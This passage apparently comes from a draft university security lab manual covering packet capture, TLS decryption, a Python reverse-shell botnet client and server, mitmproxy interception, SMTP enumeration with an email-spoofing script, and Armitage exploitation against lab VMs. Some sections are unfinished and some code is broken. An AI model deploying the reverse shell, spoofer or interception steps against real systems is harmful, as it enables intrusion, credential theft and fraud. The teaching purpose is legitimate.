same VLAN.
Some network setups may be problematic and might necessitate
more sophisticated configuration. Examples include:
• Firewall(s) between target devices
• Devices on opposite sides of a NAT barrier
• Double NAT networks
• Devices using a VPN or similar tunneling technology
In general you should not attempt to perform these attacks on
networks which you do not have absolute authority over or have
been given explicit permission. Launching these attacks can expose
private user information on the network such as login credentials.
For our purposes we will run Wireshark directly on the
client “victim” machine.
4.5 Wireshark Installation 43

4.4 Wireshark Installation


If you haven’t already, install Wireshark in Kali Linux.
sudo apt install wireshark
When it’s finished installing, run it by clicking on it in the appli-
cation menu or using the command
sudo wireshark
It’s important to run Wireshark as the root user so that the Wire-
shark process has unfettered access to the network interfaces in-
stalled on your computer. This is necessary to do packet sniffing.
44 4 Introduction to Wireshark and TCP

4.5 Getting Started with Wireshark


4.5.1 Select an Interface
Very likely you will select enp37s0 or eth0. If that doesn’t work,
or there is some confusion, read on.
Use the ifconfig command to get a list of all interfaces on your
machine. These should be similar to what is listed in Wireshark.
ifconfig -a
Although different machines will have different interfaces, there are
a couple patterns to help you determine which physical interface
corresponds to which name.
Wired
• eth0, eth1, …, ethn — A wired Ethernet connection (old naming
scheme)
• enp37s0, enp37s1, enp0s25, enp0s3 – A wired Ethernet connec-
tion (SystemD naming scheme)
Wireless
• wlan0, wlan1, …, wlan — A wireless (WiFi) connection (old
naming scheme)
• wlp2s0, wlp3s0 — A wireless (WiFi) connection (SystemD nam-
ing scheme)
Special Case
• lo, loopback — A virtual network interface that redirects traffic
back at the machine itself.
Wireshark should show you a list of these and other devices which
can be monitored.

4.5.2 Getting Started


Step 1 Open Wireshark by clicking the sharkfin icon on the Kali
Linux tool bar.
4.5 Getting Started with Wireshark 45

FIGURE 4.1: An annotated screen shot of the wireshark window

Step 2 Click the eth0 interface to start the capture.


Step 3 Press the sharkfin icon (in the top left) to start the process
of capturing packets.
Step 4 There are three main screens in wireshark. The figure
below shows an annonated screenshot of three wireshark screens.

FIGURE 4.2: An annotated screen shot of the wireshark window

4.5.3 Analyzing Network Trafffic


Step 5 Open the Firefox app and visit http://www.cs.virgini
a.edu.
Step 6 Click the red stop icon to stop the packet capture.
Step 7 Since there are so many packets in the Wireshark cap-
ture, they have built a great feature that allows you to filter pack-
ets. Click on the filter packets box at the top of the screen and
46 4 Introduction to Wireshark and TCP

type the following filter command ip.dst==128.143.67.11 (Where


128.143.67.11 is the IP address of cs.virginia.edu websever).

FIGURE 4.3: Filtering packets on Wireshark

Step 8 Limit the packet capture to only one conversation by


right-clicking on one of the packets and selecting conversation filter-
>TCP.

FIGURE 4.4: TCP conversation filtering


4.6 (WIP) TCP Dump on PFSense 47

4.5.4 Introduction
TCP stands for Transmission Control Protocol and is part of the
Transport layer in the Open Systems Interconnection (OSI) model.
TCP provides a connection-oriented transmission service unlike
User Datagram protocol (UDP) that provides a connectionless
transmission service. UDP is faster than TCP because it does not
provide any feedback about if segments were delivered succesfully
or not. TCP does send feeback thereby guaranteeing delivery of
segments. Therefore, a tcpdump intercepts those network packets
and displays them in their raw form. Step 9 Wireshark also let’s
you reconstruct the stream data from the packet stream by click-
ing on a packet and selecting follow->TCP stream. You should see
the HTML conresponding the page.

FIGURE 4.5: Navigating to follow TCP stream on Wireshark

The Follow TCP Stream will look like the figure below:

4.6 (WIP) TCP Dump on PFSense


4.6.1 Overview
This section will go over using PFSense to capture TCP traffic
from the Kali Linux VM utilizing the tcpdump command.
48 4 Introduction to Wireshark and TCP

FIGURE 4.6: A screenshot of Follow TCP stream on Wireshark

4.6.2 TCPDump Command


TCPDump is a command line packet capture utility embeded into
most UNIX and UNIX-like operating system distributions, such
as FreeBSD. It is a powerful tool with an intensive learning curve.
In this section, we will go over the basics of using tcpdump on
pfSense to listen for port 80 traffic. Since pfSense is running on
top of FreeBSD, this command is available to us.

4.6.3 Port 80
Port 80 is commonly assigned for Hypertext Transfer Protocol
(HTTP) communication. Therefore, it can be used to send and
receive HTML pages from Web servers.

4.6.4 Capturing Traffic on Port 80


Step 1: Since our Kali Linux VM is connected to the pfSense
router, boot up the Kali Linux VM, as specified in the Getting
4.6 (WIP) TCP Dump on PFSense 49

Setup chapter, and navigate to any website. Because all traffic on


our network passes through the pfSense firewall, we can use the
TCPDump command on the pfSense machine to capture the TCP
packet from the Kali Linux machine.
Step 2: Open up and configure pfSense using instructions from
Setting Up pfSense in the Getting Setup chapter.
Step 3: You should see a VM screen that looks like this.

FIGURE 4.7: Beginning screen for pfSense

Step 4: Type 8 next to Enter an Option to select the shell


Step 5: Now we are ready to capture TCP traffic! If we run just
tcpdump
in this shell, tcpdump will run without options and capture all
packets going through all the interfaces on the system. Tcpdump
will continue to run until terminated with Ctrl+C.
Step 6: Lets analyze a line to understand the traffic that is being
printed.
50 4 Introduction to Wireshark and TCP

FIGURE 4.8: Selecting Shell in pfSense

Understanding each field:


• 15:18:44.372924 - timestamp.
• IP - protocol of the packet.
• 192.168.1.100.41193 - the source system IP (192.168.1.100)
and port (41193).
• z.arin.net.domain - the destination system IP and port.
• Rest - packet-specific information.
Step 7:
You can request to capture packets only from a specific protocol
type by passing it as an argument to tcpdump. For example, to
capture only TCP packets you can run this command in pfSense.
4.6 (WIP) TCP Dump on PFSense 51

FIGURE 4.9: Sample tcdump Ouput

Note: if nothing is displaying, try refreshing your web broswer in


the Kali Linux VM.
tcpdump tcp
52 4 Introduction to Wireshark and TCP

Step 8: Now to listen for TCP packets from a specific port.


Simply pass in the port number to tcpdump as a command line
argument. Note: Refresh web browser in Kali Linux VM if packets
are not showing up.
tcpdump tcp port 80

4.6.5 Alternate Configurations


This is only a peek into of the possible flags and parameters that
tcpdump accepts and utilizes. For example, you can use the -i, -n,
-w, and -e for selecting an interface, not performing reverse DNS,
saving capture to a pcap file, and printing the link-layer header.
For more information, consult the pfSense documentation. [https:
//docs.netgate.com/pfsense/en/latest/book/packetcaptur
e/using-tcpdump-from-the-command-line.html]
4.6 (WIP) TCP Dump on PFSense 53

FIGURE 4.10: Example TCP Port 80 Packet from visting


www.virginia.edu on Kali
5
TCP and Socket Programming Lab

5.1 Introduction:
In this lab we will learn the basics of socket programming by imple-
menting a reverse shell. We will then show how this reverse shell
can be used to implement a simple botnet.

5.1.1 Sockets and process communication


A socket is a software abstraction that allows programs to commu-
nicate over the network. There are two types of sockets 1) TCP
sockets and 2) UDP sockets. TCP sockets ensure that all data sent
over the network is reliablity delivered. TCP sockets are commonly
used for file transfer and other applications. UDP sockets trade re-
liability for speed. Common applications that use UDP sockets are
audio or video applications. In this lab we will use TCP sockets to
implement a reverse shell.

5.1.2 Reverse Shell


A reverse shell is a program that is comprised of two parts: A socket
component that connects to the attackers computer and a Shell
component which allows the attacker to execute shell commands
on the victims machine.

55
56 5 TCP and Socket Programming Lab

FIGURE 5.1: The figure above shows how the TCP client and
server communicate through sockets over the network

5.2 Setting Up Your Python Environment


We will be developing our reverse shell in python. So you will need
to setup a python development environment on the Kali Linux
VM.
Step 1 Open the Kalin Linux VM and log in Step 2 Create a
folder called “botnet” on your Kali Desktop.
Step 3 We will need a text editor for saving python files. Kali offers
GUI text editors Leafpad or Mousepad and teminal-based editors
nano and vim. Open up whichever one you feel most comfortable
with.

5.3 A Reverse Shell Client

#clientBot.py

import sys # library that grabs command line arguments


5.4 Reverse Shell Server 57

from subprocess import Popen, PIPE # library used to run shell commands
from socket import * # library used to create sockets
serverName = sys.argv[1] # IP address of the attackers box
serverPort = 8000
#Create IPv4(AF_INET), TCPSocket(Sock_Stream)
clientSocket = socket(AF_INET, SOCK_STREAM)
clientSocket.connect((serverName, serverPort))
clientSocket.send('Bot reporting for duty'.encode())
command = clientSocket.recv(4064).decode()
# Wait for exit command
while command != "exit":
# Run the command in the shell
proc = Popen(command.split(" "), stdout=PIPE, stderr=PIPE)
# grab output from the pipe
result, err = proc.communicate()
# Send result back to serverBot
clientSocket.send(result)
command = (clientSocket.recv(4064)).decode() # Receive next command

clientSocket.close()

Step 4 Copy and paste the above code into the editor. Save the
file as “clientBot.py” in the botnet folder we created in step 2.

5.4 Reverse Shell Server


Step 5 Now we will write the server that runs on the attackers
box, i.e. Kali VM.

# serverBot.py

from socket import *


serverPort = 8000
58 5 TCP and Socket Programming Lab

serverSocket = socket(AF_INET, SOCK_STREAM)


# allows process to bind to a port which is on TIME_WAIT
# Fixes Address already in use issue
serverSocket.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1)
# Links the socket to the IP of the machine
serverSocket.bind(('', serverPort))
# Wait for connection
serverSocket.listen(1)
print("Attacket Box Listening and awaiting instructions")
connectionSocket, addr = serverSocket.accept()
# Accepts bot connection
print("Thanks for connecting connecting to me bot "
+str(addr))
message = connectionSocket.recv(1024)
# Reads 1024 bit for buffer
print(message) # Prints the message received from the server
command =""
while command != "exit":
command = raw_input("Please enter a command: ")
connectionSocket.send(command.encode())
message = connectionSocket.recv(1024)
print(message)

connectionSocket.shutdown(SHUT_RDWR)
connectionSocket.close()

Step 6 Open up the text editor again, copy/paste the above code,
and save the file as “serverBot.py” to the “botnet” the Desktop
folder you created earlier.
5.6 Running the reverse shell 59

5.5 Running the reverse shell


Normally an attacker would use a known vulnerability to get access
to a machine. However, for simplicity we will just copy the file to
the metasploitable server.
Step 7 Start the botnet server by opening the terminal and nav-
igating to folder called botnet on kali desktop. Run the file by
typing python serverBot.py
[Include screen shot below]
Now the server bot is running an waiting for the clients to con-
nect to it. So let’s activate the botnet client in the metasploitable
machine.
Step 8 Log into the metasploitable machine using username: ms-
fadmin, password msfadmin.
Step 9 Cd into the folder called botnetClient.py run the botnet
client by typing: python clientBot.py [Ipaddress of your Kalibox].
(Remember that you can get the ip-address of the Kali linux box
by using the ifconfig command)
[Include a picture]
Step 10 Your client bot should now be connected to your server-
bot. Try executing a whoami command.
[Include a picture]

5.6 Botnet
The example above discusses a single client server pair. How would
we extend so that a single machine could control serveral clients all
at once. This is exactly what happens in a botnet, serveral client
machines will connect to a single machine called the botnet master.
60 5 TCP and Socket Programming Lab

This machine will then send commands to all of the machines


(bots) which are connected to it.
6
Secure Sockets SSL and TLS

##Background
In this section we discuss the TLS security protocol in detail. We
will go through the protocol in detail we also use wireshark to look
at sample TLS session. For additonal details on TLS you can read
the TLS formal specification https://tools.ietf.org/html/rf
c5246#section-8.1.2.

6.1 Diffie-Hellman Key Exchange.

6.2 How are keys derived from the Pre-Master Secret.


The length of the pre-master secret varies depending on type of
key exchange algorithm that is used. However, to ensure that the
message is both authentic and confidential a fix length messsage
autheication code key and fix length messsage encryption key. We
need these keys for both the client and server. TLS solves issue
by deriving the fix length master secret from a variable lenght
pre-master secret.

master_secret = PRF(pre_master_secret, "master secret",


ClientHello.random + ServerHello.random)
[0..47];

61
62 6 Secure Sockets SSL and TLS

The code below shows a sample python program that implements


the PRF function above:
This master_secret key is the cutup into 4 keys:
client_write_MAC_key[SecurityParameters.mac_key_length]
server_write_MAC_key[SecurityParameters.mac_key_length]
client_write_key[SecurityParameters.enc_key_length]
server_write_key[SecurityParameters.enc_key_length]

PRF(secret, label, seed) = P_<hash>(secret, label + seed)

P_hash(secret, seed) = HMAC_hash(secret, A(1) + seed) +


HMAC_hash(secret, A(2) + seed) +
HMAC_hash(secret, A(3) + seed) + ...

where + indicates concatenation.


A() is defined as:

A(0) = seed
A(i) = HMAC_hash(secret, A(i-1))
HMAC = Hash-based Message Authentication Code.

def PRF(secret, label, seed)


requireLength = 48
masterkey = ''
secSeed = label + seed
while(len(masterkey) <- 48):
secSeed = hmac.new(secret,secSeed).hexdigest()
masterkey += secSeed

return masterkey
6.4 Writing a SSL Client 63

6.3 Writing a SSL Client

import socket
import ssl

hostname = 'www.python.org'
context = ssl.create_default_context()
sock = socket.create_connection((hostname, 443))
secureSocket = context.wrap_socket(sock, server_hostname=hostname)
print(secureSocket.recvfrom(1024))

##Writing an SSL server

context = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)
context.load_cert_chain('/path/to/certchain.pem', '/path/to/private.key')
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM, 0)
sock.bind(('127.0.0.1', 8443))
sock.listen(1)
secureSocket= context.wrap_socket(sock, server_side=True)
conn, addr = ssock.accept()

6.4 Challenge
Now that you have we discussed TLS you can try running SMTP
spoof over a TLS connection.
7
TLS Attack

7.1 Background
Whenever a user accesses a webpage over https, the encrypted
traffic is sent over a TLS socket. These TLS sockets are similar
to sockets that we looked at in Chapter 4. In this section, we will
show that an attacker can use a stolen key to decrypt the packets,
which are sent over an encrypted TLS socket.

7.2 Basic TLS Attack Ways of Obtaining the Key


Step 1: Close Your Browser
In a terminal window enter the following command to set the
SSLKEYLOGFILE environment variable.
export SSLKEYLOGFILE=~/sslkeys.log
Step 2: Start your browser again using the same bash shell in
which you ran this command.
You should see that the file sslkeys.log is created. If you’re stuck,
you can use the following command to confirm that the environ-
ment variable is defined in the bash shell you’re using.
echo $SSLKEYLOGFILE
**Note: At the time of writing, Firefox has a bug on Debian
based linux distributions (including Kali Linux) which prevents it
from key logging using the SSLKEYLOGFILE environment vari-

65
66 7 TLS Attack

able. See [https://developer.mozilla.org/en-US/docs/Mozi


lla/Projects/NSS/Key_Log_Format] for details.
**Step 3:* By instructing your browser to log all TLS/SSL keys
you can instruct Wireshark to use those same keys to decrypt the
traffic content. In Wireshark, go to Preferences -> Protocols ->
SSL, and change the (Pre)-Master-Secret log filename preference
to the path of the file ~/sslkeys.log
Step 4: Start a new packet capture in Wireshark and navigate
your browser to [https://www.gutenberg.org/files/11/11-0.
txt]. This URL points to a complete text-only copy of “Alice’s
Adventures in Wonderland.” Your browser should download and
display it thereby transferring many TLS packets containing the
text of the book.
Step 5: You should see those packets listed in Wireshark and
you should be able to see the text content of the book in those
packets. You can use the search feature in Wireshark. Select Edit
-> Find Packet. In the new search bar that appears make the
following selections: Packet bytes, Narrow & Wide, Case Sensitive
checked, String. Type in a known string (careful of case) such as
“WONDERLAND” which obviously occurs in the title. Click “find”
and Wireshark should display that string at the bottom.
7.2 Basic TLS Attack Ways of Obtaining the Key 67

7.2.1 Troubleshooting
There are a number of things that must happen in the correct order.
You may have to make multiple attempts. The correct order is:

1. export $SSLKEYLOGFILE
2. start Wireshark and begin capturing packets
3. start the browser (using a bash shell in which
$SSLKEYLOGFILE is defined)
4. load an https page in the browser (ensure key log file is
created and filled with data)
5. stop capturing packets
6. manually inspect the packets to determine if TLS was
successfully decrypted

Here are a few finer details that you should be cognizant of.
• Wireshark lists packets as “TCP” if they are plaintext TCP pack-
68 7 TLS Attack

ets and also if they are TLS packets that were successfully de-
crypted via the key log file. TLS packets that are not decrypted
are listed as TLS.
• You may have to delete your browser cache if you make multiple
attempts. Reloading the same page will simply hit the cache and
will not generate most of the packets that contain the web page
data. Alternatively, on a second attempt visit a different URL.
• Wireshark needs to gather all the packets that occur. It is im-
portant that you start capturing packets before loading the https
page in the browser. Preferably you start capturing packets be-
fore starting the browser application entirely.
• In Wireshark you can right click one of the TCP packets and
select “follow TCP stream” to get a seamless dump of all the
information that was captured in the corresponding stream. If
you are viewing the correct stream, and the information was
successfully decrypted you should see something like this:
7.3 Basic TLS Attack Ways of Obtaining the Key 69

7.2.2 Attack Logistics


This attack requires the attacker to (a) fool the user into setting
the SSLKEYLOGFILE environment variable, (b) providing the
attacker access to that file, and (c) providing the attacker access
to the network traffic of their device. This is a lot of assumptions
and, in general, a savvy victim would never do any of these three.
Let’s examine a superior version of this attack.
70 7 TLS Attack

7.3 MITM TLS Attack


MITM stands for “man in the middle,” which describes situations
where the attacker is able to place themselves between the victim
(client) and server on the network.
Client (victim) <---> Attacker <---> Server
In this setup, the attacker intercepts all traffic between the client
and server. The traffic is bi-direction (client —> server as well as
client <— server). So, the attacker can masquerade as the server
(when communicating with the client) and as the client (when com-
municating with the server). By positioning ones-self in such a way,
the attacker is able to intercept the secret TLS information with-
out the SSLKEYLOGFILE, because these same secrets are exchanged
between the client and server over the network when an HTTPS
connection is first established.
Deeper details on the TLS protocol are out of the scope of this
chapter. If interested, consider consulting [https://davidwong.
fr/tls13/].

7.3.1 MITMPROXY
Step 1: For our MITM attack we’ll use a tool called “mitm-
proxy,” which will handle all of the masquerading and extracting
of TLS secrets [https://mitmproxy.org/]. Install mitmproxy if
you haven’t already.
sudo apt install mitmproxy
Before running mitmproxy, we want to setup the configuration file,
which unlike most linux software, is not automatically created.
Step 2: To create it and fill it with default values run the following
command:
mitmproxy --config >> ~/.mitmproxy/config.yaml
7.3 MITM TLS Attack 71

Now you can open and inspect this file to learn a bit about how
mitmproxy will operate. A few important default values include
• listen_port: 8080
• onboarding_host: mitm.it
• onboarding_port: 80
Step 3: Now run the command line version of mitmproxy. Note,
it does not require superuser permissions (unlike Wireshark).
mitmproxy
Step 4: While mitmproxy is running, open a web-browser and
navigate to the onboarding_host: mitm.it:80 You should see a
message like this:

At this point, there is no configuration set for any software on the


system to use mitmproxy as a proxy. So, traffic is routed as normal.
If however, traffic passes through mitmproxy (as is necessary for
the attack), this domain will show a different message. mitmproxy
is specifically implemented in such a way that it will intercept and
alter this specific domain. There are a variety of ways to use /
72 7 TLS Attack

configure mitmproxy, as detailed on their website [https://docs


.mitmproxy.org/stable/concepts-modes/].
One straightforward setup is to configure the browser directly to
use mitmproxy as a proxy for all web (HTTP and HTTPS) traffic.
Step 5: Navigate to the settings in the browser on the Kali linux
box and set up an HTTP proxy with the configuration as shown
below:
• HTTP Proxy Address: 127.0.0.1 (localhost) You may alteran-
tively use the IP address of the machine running mitmproxy.
• Port: 8080
Note: these values are selected from the configuration file previ-
ously set.
Now, if you visit the same domain (mitm.it:80) you should see a
message like this:

Again, the website looks different because the mitmproxy software


intercepts traffic destined for this particular domain. All other web-
sites (and internet services) will not be modified making this do-
7.3 MITM TLS Attack 73

main an important testing tool. You should also note that some
streams are now listed in the mitmproxy interface that it has been
running in terminal.

7.3.2 Mitmproxy Certificate


The mitm.it domain is altered by the proxy to make it easy to in-
stall the necessary certificates for the MITM attack to work. The
documentation from mitmproxy covers this well [https://docs.m
itmproxy.org/stable/concepts-howmitmproxyworks/]. An ex-
cerpt:
” The tricky part is that the Certificate Authority system is designed
to prevent exactly this [mitm] attack, by allowing a trusted third-
party to cryptographically sign a server’s certificates to verify that
they are legit. If this signature doesn’t match or is from a non-
trusted party, a secure client will simply drop the connection and
refuse to proceed. Despite the many shortcomings of the CA system
74 7 TLS Attack

as it exists today, this is usually fatal to attempts to MITM a TLS


connection for analysis. Our answer to this conundrum is to become
a trusted Certificate Authority ourselves. Mitmproxy includes a
full CA implementation that generates interception certificates on
the fly. To get the client to trust these certificates, we register
mitmproxy as a trusted CA with the device manually. ”
Step 6: There are other ways to install a certificate of authority
on an unsuspecting client’s device. However, they are outside the
scope of this tutorial. In your browser, click on the “other” button
and follow the on-screen prompts to install the certificate. Now
you can load an https website and you should see that mitmproxy
lists a stream related to that page.

7.3.3 Attack Logistics


This attack requires the attacker to (a) fool the user into config-
uring their browser to use their mitmproxy instance as a network
proxy, and (b) fool the user into accepting / installing the mitm-
proxy certificate. Again, a savvy victim would never configure a
proxy or install aribtrary / suspect TLS certificates. Fortunately,
we don’t need any user permission to setup a publically facing
7.3 MITM TLS Attack 75

mitmproxy. In this chapter we ran mitmproxy on the same device


as the client, but this is not necessary! The mitmproxy instance
needs only to be accessible from the victim and client.

7.3.4 Alternate Configurations


(1) For all popular operating systems it is possible to configure a
system-wide proxy. This ensures that all browsers (firefox, chrome,
safari, etc.) as well as all other network applications that communi-
cate via HTTP or HTTPS will use the proxy without configuring
them one-by-one. However, such a setup is specific to the OS (and
likely OS version) and is omitted for brevity. With such a setup
we can alter logistic (a) mentioned in the previous section. A con-
figuration must still be done, but it can be done command line
only (more stealthy, easily programmed), and it will affect many
applications instead of just one specific browser.
(2) A “transparent” proxy is that where the client application(s)
and the server are both oblivious to the presence of a proxy. With
such a setup we can remove logistic (a) entirely. Instead, the at-
tacker needs to alter the network routes directly on the client’s
(victim’s) network. The victim machine should use the mitmiproxy
host as a gateway machine. The mitmproxy host will need to be
setup to perform “IP forwarding.”
Such a setup requires multiple machines and network configura-
tions that will be specific to your network. For further details on
how to setup such a configuration, please consult the mitmproxy
documentation
• [https://docs.mitmproxy.org/stable/concepts-modes/]
• [https://docs.mitmproxy.org/stable/howto-transparen
t/]
8
SMTP Enumeration and Email Spoofing

8.1 Background
For this lab you are going to perform an SMTP enumeration attack
on your Metasploitable VM, then build a simple email address
spoofer that implements the STMP protocol over TCP. Modern
mail servers have several solutions to make it more difficult to spoof
emails. However, the STMP protocol by itself does not check to
ensure that messages are coming from a valid server, or that an
email was actually created by the sender.

8.2 SMTP Enumeration


In an SMTP enumeration attack, an attacker tries to get a list of
valid email addresses contained on an SMTP server. We will use
the tools provided by the Metasploit Framework on Kali Linux to
perform such an attack on our Metasploitable VM.
Step 1 Launch your pfSense, Metasploitable, and Kali Linux VMs.
Step 2 Log in to your Metasploitable machine using msfadmin
as both the username and password.
Step 3 Run the following command to get the IP of your Metas-
ploitable machine:
ifconfig | grep -i mask
Step 4 In the console output, look for the address listed after

77
78 8 SMTP Enumeration and Email Spoofing

“inet addr:” on the first line. For example, the Metasploitable IP


address would be 192.168.100.100 in the output shown below.

FIGURE 8.1: Output of ifconfig command

Once we have the Metaploitable machines IP address, we’ll switch


over to our Kali Linux VM to use the Metasploit console.
Step 5 Log in to your Kali Linux machine using kali as both the
username and password.
Step 6 Click the Kali logo in the top left corner of your desktop
and search for metasploit.

FIGURE 8.2: Metasploit search results

Step 7 Click on the result entitled metasploit framework to


launch the Metasploit console. If prompted for a password, enter
kali and hit enter.
Step 8 Once in the Metasploit Framework (MSF) console, select
the smtp_enum module by entering the following command:
use auxiliary/scanner/smtp/smtp_enum
Step 9 If the previous command was entered correctly,
your console prompt should have been appended with auxil-
iary(scanner/smtp/smtp_enum)
Step 10 Set the host that you want to scan by entering the follow-
ing command, replacing xxx.xxx.xxx.xxx with IP address of the
Metasploitable machine we found previously:
8.3 Email Spoofing 79

FIGURE 8.3: What your console should look like so far

set RHOSTS xxx.xxx.xxx.xxx


Step 11 Run the following command to see a list of users currently
on the SMTP server:
run
NOTE: This attack may take several minutes to complete and
output results to the terminal. This is because the MSF imple-
mentation of the STMP enum attack uses brute force to look
through all potential SMTP users. You may also notice that the
list of “emails” outputted do not have a domain name specified
after each user, which is because all SMTP users on the Metas-
ploitable SMTP server belong to the same server and do not need
to be differentiated.

FIGURE 8.4: Results of SMTP Enum attack

Congratulations, you performed your first successful SMTP enum


attack!

8.3 Email Spoofing


In this section, we’ll demonstrate the necessity of properly veri-
fying SMTP requests to mail servers. We’ll take advantage of the
Metasploitable VM’s SMTP server not verifying email sender data
80 8 SMTP Enumeration and Email Spoofing

to spoof an email to it supposedly from hacking@virginia.edu1 .


We can write a short Python script on our Kali Linux VM to do
this.
Step 1. On your Kali Linux machine, create a new folder on the
Desktop named spoofer.
Step 2. Inside the spoofer folder, create a new Python file named
espoofer.py.
Step 3 Open up the newly created Python file in an IDE or text
editor of your choice.
Step 4 The code below shows a lightweight Python implementa-
tion of a program able to execute the SMTP protocol over a TCP
connection. It takes in the SMTP server IP address, port, “sender”
email address, and the message body as command line arguments.
Either copy or type out the code in your IDE or text editor, then
save and exit.

import sys, socket

size = 1024

def sendMessage(smtpServer, port, fromAddress,


toAddress,message):
IP = smtpServer
PORT = int(port)

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((IP, PORT)) # Open socket on port
print(s.recv(size).decode()) # display response
s.send(b'HELO virginia.edu\n') # Send HELO fake.fr
print(s.recv(size).decode()) # display response
# send MAIL FROM:

1
mailto:hacking@virginia.edu
8.4 Email Spoofing 81

s.send(b'MAIL FROM:<' + fromAddress.encode() + b'>\n')


print(s.recv(size).decode()) # display response
# send RCPT TO:
s.send(b'RCPT TO:<' + toAddress.encode() + b'>\n')
print(s.recv(size).decode()) # display response
s.send(b"DATA\n") # send DATA
print(s.recv(size).decode()) # display response
s.send(message.encode() + b'\n') # send message
s.send(b'.\n')
print(s.recv(size).decode()) # display response
s.send(b'QUIT\n') # send QUIT
print(s.recv(size).decode()) # display response
s.close()

def main(args):
smtpServer = args[1]
port = args[2]
fromAddress = args[3]
toAddress = args[4]
message = args[5]
sendMessage(smtpServer, port, fromAddress,
toAddress, message)

if __name__ == "__main__":
main(sys.argv)

Step 5 Open the terminal and cd to ~/Desktop/spoofer


Step 6 Run the spoofer with the following command:
python espoofer.py <IP of your Metasploitable VM> 25 hacking@virginia.edu sys
82 8 SMTP Enumeration and Email Spoofing

FIGURE 8.5: Running the Python script

8.4 Email Verification


To verify the spoofed email was correctly received, run the follow-
ing command on your Metasploitable VM. You should see a mes-
sage from hacking@virignia.edu2 with the message body you
entered.
sudo cat /var/spool/mail/sys

FIGURE 8.6: Spoofed email results

2
mailto:hacking@virignia.edu
9
Creating Trojans and Other Malicous Files

##Background
In this section we will discuss the process of
##Creating
###MSFVenom
###Take Screen Shot

9.0.1 Capturing image from the camera.


webcam_snap -i 1 -v false
[Include screen shot below]

9.1 Creating Malicous Files for Windows


##Greating a malicious PDF file
https://www.offensive-security.com/metasploit-unleashe
d/client-side-exploits/

9.2 Greating a malicious Android APK.


In this section we show how you can generate a malicious android
APK

83
84 9 Creating Trojans and Other Malicous Files

9.3 EggShell IOS payload


https://github.com/neoneggplant/EggShell
10
Armitage: Easily Identify and Exploit
Vulnerabilities

Technology is nothing. What’s important is that you


have a faith in people, that they’re basically good
and smart, and if you give them tools, they’ll do
wonderful things with them. - Steve Jobs

10.1 Background
In this first lab, we saw that it is possible to use the netdiscover
tool to find other machines on network. But how do we know
what vulnerabilities exist on these machines? In the previous lab
we told you what vulnerabilities existed, but how do you discover
and exploit these on your own. This is where Armitage and other
vulnerability scanners come in. Armitage is a GUI interface for
Metasploit (a tool we will look at in a later lab). Armitage al-
lows you to easily scan hosts for vulnerabilities and exploit these
vulnerabilities with only a few clicks.

10.2 Vulnerability Scanning Using Armitage


Goal: Scan the Metasploitable host for vulnerabilities
and exploit one of these vulnerabilities to gain access
to the machine.
Step 1: Start the metasploitable server by clicking on the virtual

85
86 10 Armitage: Easily Identify and Exploit Vulnerabilities

box icon. Select the Metapsloitable virtual machine and press the
play button.
Step 2: Click on the Armitage icon.

Step 3: You should see the setup screen show below. Click connect.

FIGURE 10.1: Armitage Setup Screen

Step 4: If you get a pop up asking you start Metasploit RPC


server. Click Yes. (Armitage communicates with Metasploit us-
ing the RPC server). If everything is working well, you should
get the following screen. Instead of connecting to a local instance
(127.0.0.1) of metasploit, you can also connect to a remote instance
and perform scans as though running on the local network.
Step 5: Once you have successfully setup Armitage, you will need
to discover the machines you want to scan for vulnerabilities. You
can do this using the netdiscover tool from lab one or you can use
armitage discovery tool. Click on Hosts→Scan→Quick Scan OS
Detect.
Step A: You will get a pop up that asks you for the range of
IP Addresses that you want to scan. This takes IP Address in
10.2 Vulnerability Scanning Using Armitage 87

FIGURE 10.2: Armitage Screen Starting Screen

FIGURE 10.3: The figure shows an example of running the quick


scan
88 10 Armitage: Easily Identify and Exploit Vulnerabilities

Cidar notation, for example 192.168.1.0/24. IP Version 4 Addresses


are 32 bit addresses. This notation means that you should keep
the first 24 bits static and vary the remaining 8 bits to search
for hosts. Enter the following IP Address range in the box.[Your-
Ipddress]/24. Remember from the first lab that it possible to get
your IP-address by running the Ipconfig command.
Step B: Once your scan has completed, notice that Armitage
has discovered the metasploitable host and other machines on the

network.
Step 6 Notice that one of the machines has the same address and
metasploitable host from the first lab. Write click on this machine
and select scan. This will check all of the ports on the machine to
see if they are running any TCP or UDP applications. Once you
have completed the scan you will see a list of open ports on the
machine.
Step 7: Now that we have discovered some hosts and some open
ports, let’s scan the applications on these ports for vulnerabilities.
Click on the host that you want to scan. It will be highlighted by
a green box. Then click on Attacks→find Attacks.
A Hail Mary Attack tries every attack in an attempt to
break into to the system.
Step 9: Once the vulnerability scan has completed you will see
the exploitable vulnerabilities by right clicking on the host and
10.3 Exploiting a Host Using Armitage 89

selecting Attacks. The image below shows the ftp attack from our
first lab.

FIGURE 10.4: The figure above shows how to execute the vftpd
vulnerability

10.3 Exploiting a Host Using Armitage


Step 1: Click on the ftp attack. This will show you a description
of the attack.
When Armitage attacks a host it uploads a play-load that
allow you to control the host. This payload needs to be
configured so that it can connect to your machine so you
can control it and in turn control the
infected host.
Each parameter in the table is explained below.
90 10 Armitage: Easily Identify and Exploit Vulnerabilities

FIGURE 10.5: The figure above shows the description of the


attack

• LHOST : The IP Address of the controlling machine


• LPORT : The port on the controlling machine.
• RHOST : The IP Address of the host being attacked.
• RPORT : The port used by the payload
In a Reverse Connection the attacked host will connect to the
attacker’s machine, similarto the reverse shell that we implemented
earlier.
Step 2: Click launch to launch the attack. Once your host is
compromised the host icon will change to
10.3 Exploiting a Host Using Armitage 91

Step 3: You can now get shell access on the machine by right
clicking on the host and selecting shell1→interact. A Linux shell
will appear in the bottom section of Armitage.

FIGURE 10.6: The figure above shows how to get shell access

Step 4: You should see a terminal open up at the bottom of the


window. Type the ls command in this window.
*insert screenshot here
11
Scanning Targets

Searching is half the fun: life is much more manageable when thought of as a

11.1 Introduction
An important part of being a penetration tester is gathering as
much information about the systems as possible. In this lab we
will explore three information gathering tools.
• DNS Lookup tools
• Harvester
• Maltego
• Password Lists

11.2 WhoIs
Domain Registrars keep information on their host this information
is public available. The WHOIS linux command also you query this
information.
Step 1 Open the terminal and type: whois mit.edu
[Include screenshot]
The whois command will return the information that domain reg-
istrar has on the domain. To begin collecting formation on the an
their network.

93
94 11 Scanning Targets

11.3 The Harvester


Harvester is a tool that utilizes that lets you search Google, Bing,
Linked-In, PGP (public key servers for email addresses that belong
to a specific domain.)
Step 1 Open terminal and type theharvester. You will see a list
of all the options that the harvester support
